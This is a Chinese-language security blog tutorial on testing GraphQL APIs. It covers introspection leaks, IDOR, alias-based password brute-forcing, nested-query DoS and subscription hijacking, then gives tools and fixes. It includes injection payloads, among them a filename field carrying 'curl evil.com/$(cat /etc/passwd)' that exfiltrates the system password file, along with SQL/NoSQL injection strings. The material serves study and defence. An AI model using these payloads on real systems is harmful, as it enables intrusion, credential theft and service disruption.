[前沿技术]GraphQLAPI安全测试"

admin 2026-10-20 23:39:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

[前沿技术] GraphQL API 安全测试

原创

Pik安全实验室
Pik安全实验室

Pik安全实验室

2026年5月25日 10:13
广东

在小说阅读器读本章

去阅读

0x00 介绍

GraphQL 是 Facebook 开源的 API 查询语言,允许客户端精确指定所需数据,避免了 REST API 的过度获取和不足获取问题。GitHub、Shopify、Twitter 等大量平台已迁移到 GraphQL。但灵活性的另一面是更大的攻击面——内省泄露、字段级权限绕过、嵌套查询 DoS、注入攻击等,需要专门的安全测试方法。

0x01 GraphQL 基础

查询结构

GraphQL 核心三种操作类型:

Query — 读取数据

query {
user(id: 1) {
    name
    email
    posts { title }
}
}

Mutation — 修改数据

mutation {
createPost(title: \"test\", content: \"hello\") {
    id
}
}

Subscription — 实时推送(WebSocket)

subscription {
postAdded { id title }
}

内省查询

GraphQL 内置的内省(Introspection)系统是攻击者的信息金矿。通过内省可以获取整个 Schema、所有类型、字段、参数。

获取所有类型

{ \_\_schema { types { name kind fields { name type { name kind } } } } }

获取所有 Query 入口

{ \_\_schema { queryType { fields { name args { name type { name kind } } } } } }

获取所有 Mutation

{ \_\_schema { mutationType { fields { name args { name type { name kind } } } } } }

0x02 常见漏洞

内省信息泄露

生产环境启用内省是最常见的配置错误。攻击者获取 Schema 后可绘制完整 API 地图,发现隐藏的管理接口和敏感字段。

探测内省是否开启

curl -X POST https://target.com/graphql \
  -H \"Content-Type: application/json\" \
  -d '{\"query\":\"{ \_\_schema { types { name } } }\"}'

利用 graphql Voyager 可视化

将内省结果导入 https://ivangoncharov.github.io/graphql-voyager/

字段级别权限绕过(IDOR)

GraphQL 解析器可能只在顶层做了权限校验,嵌套字段直接返回敏感数据。

正常查询自己的资料

query { me { name email } }

遍历所有用户(IDOR)

query { user(id: 1) { name email ssn } }
query { user(id: 2) { name email ssn } }

嵌套查询绕过权限

query {
publicPosts {
    author {           # 通过 post 反向查 user
      email            # 可能泄露邮箱
      privateMessages# 如果能查到私信
    }
}
}

批量查询与 DoS

GraphQL 支持别名,可在单次请求中批量发送查询。配合嵌套查询可造成深度递归攻击。

别名攻击(Batching Attack)— 暴力破解

query {
a: login(username:\"admin\", password:\"123456\") { token }
b: login(username:\"admin\", password:\"password\") { token }
c: login(username:\"admin\", password:\"admin123\") { token }

... 一次请求尝试 100 个密码

}

深度嵌套 DoS

query {
user {
    posts {
      comments {
        author {
          posts {
            comments {
              author {# 无限递归
                posts { title }
              }
            }
          }
        }
      }
    }
}
}

注入攻击

GraphQL 参数同样可能存在 SQL 注入、NoSQL 注入、命令注入等。

SQL 注入

query {
search(keyword: \"' OR 1=1; --\") {
    results { title }
}
}

NoSQL 注入

query {
user(email: \"{\\"$gt\\":\\"\\"}\") {# MongoDB $gt 绕过
    name password
}
}

OS 命令注入

mutation {
exportReport(filename: \"test; curl evil.com/$(cat /etc/passwd)\") {
    url
}
}

订阅(Subscription)劫持

WebSocket 订阅可能未做认证,未授权用户可订阅实时数据流、窃听敏感事件。

WebSocket 连接未验证

wss://target.com/graphql
→ {\"type\":\"start\",\"id\":\"1\",\"payload\":{
    \"query\":\"subscription { newPrivateMessage { from content } }\"
  }}

0x03 测试工具

graphql-cop

Python 编写的 GraphQL 安全审计工具,自动检测常见漏洞。

安装与使用

pip install graphql-cop
graphql-cop -t https://target.com/graphql

检测项

  • 内省是否开启
  • 字段建议(Field Suggestions)
  • 深度查询限制
  • 别名攻击
  • 批量查询

InQL (Burp Suite)

Burp Suite 扩展,解析 GraphQL Schema 并生成测试请求。

Clairvoyance

即使内省被禁用,也能通过字段名猜解恢复部分 Schema。

使用 Clairvoyance 猜测 Schema

python3 clairvoyance.py -o schema.json https://target.com/graphql

配合常见字段字典

python3 clairvoyance.py -w wordlist.txt https://target.com/graphql

GraphQL Raider

Burp Suite 专业版的原生 GraphQL 测试模块,支持自动生成测试用例。

0x04 修复方案

  1. 禁用生产环境内省

// Apollo Server
new ApolloServer({
  typeDefs, resolvers,
  introspection: process.env.NODE\_ENV !== 'production'
})

// GraphQL Yoga
createYoga({ schema, maskedErrors: false })
// 默认关闭内省

  1. 查询深度限制

// graphql-depth-limit
import depthLimit from 'graphql-depth-limit'
const server = new ApolloServer({
  validationRules: [depthLimit(5)]  // 最多 5 层嵌套
})

// graphql-query-complexity
// 根据字段权重计算查询成本,超过限制拒绝

  1. 速率限制 + 查询白名单

使用 Persisted Queries 限制客户端只能执行预注册的查询。配合速率限制防止暴力枚举。

  1. 字段级权限控制

在 Resolver 层面实现细粒度授权,每个字段都检查当前用户的访问权限。

本文仅作安全研究与学习用途,用于非法行为后果自行承担。


    [前沿技术]GraphQLAPI安全测试" 网络安全文章

    [前沿技术]GraphQLAPI安全测试"

    本文系统介绍GraphQLAPI安全测试方法,涵盖其查询结构、内省机制及常见漏洞如信息泄露、权限绕过、嵌套查询DoS、注入攻击和订阅劫持。提供graphql-cop等自动化检测工具的使用指南,并给出禁用内省、深度限制、速率控制等修复方案。强调生产环境需关闭内省并实施字段级权限校验。
    [前沿技术]依赖混淆攻击实战" 网络安全文章

    [前沿技术]依赖混淆攻击实战"

    依赖混淆攻击通过注册与目标公司内部私有包同名的高版本恶意包,诱使包管理器优先下载执行攻击代码。文档详细演示了从信息收集(扫描公开仓库、lock文件)、注册恶意包(preinstall脚本DNS外带验证)到防御措施(scope注册、.npmrc配置)的全流程。攻击影响Apple等科技巨头,需加强内部包管理和依赖版本锁定。
    天津“十五五”规划(2026—2030)深度解读" 网络安全文章

    天津“十五五”规划(2026—2030)深度解读"

    天津市`十五五`规划深度对接国家京津冀协同发展、制造强国等战略,明确未来五年城市定位为京津冀核心一极、北方航运中心等。规划设定GDP年均增长5%等量化目标,部署六大核心任务:深化区域协同、升级产业体系、做强港口经济、强化科技创新、推进绿色转型、增进民生福祉。规划强调国家战略的本地化落地,将为市民带来交通、就业、生态等方面的全面提升。
    网络安全行业,聊一聊企业的负债率为什么要保持在一定的合理水平" 网络安全文章

    网络安全行业,聊一聊企业的负债率为什么要保持在一定的合理水平"

    本文从网络安全企业角度解析负债率保持合理水平的重要性,指出负债率并非越低越好,适度负债可发挥杠杆效应提升收益、合理避税降低成本、倒逼企业高效运营。针对网安行业研发投入大、回款周期长的特点,建议负债率维持在30%-40%的合理区间,超过50%需预警,但初创企业为快速扩张可暂时放宽标准。
    评论:0   参与:  0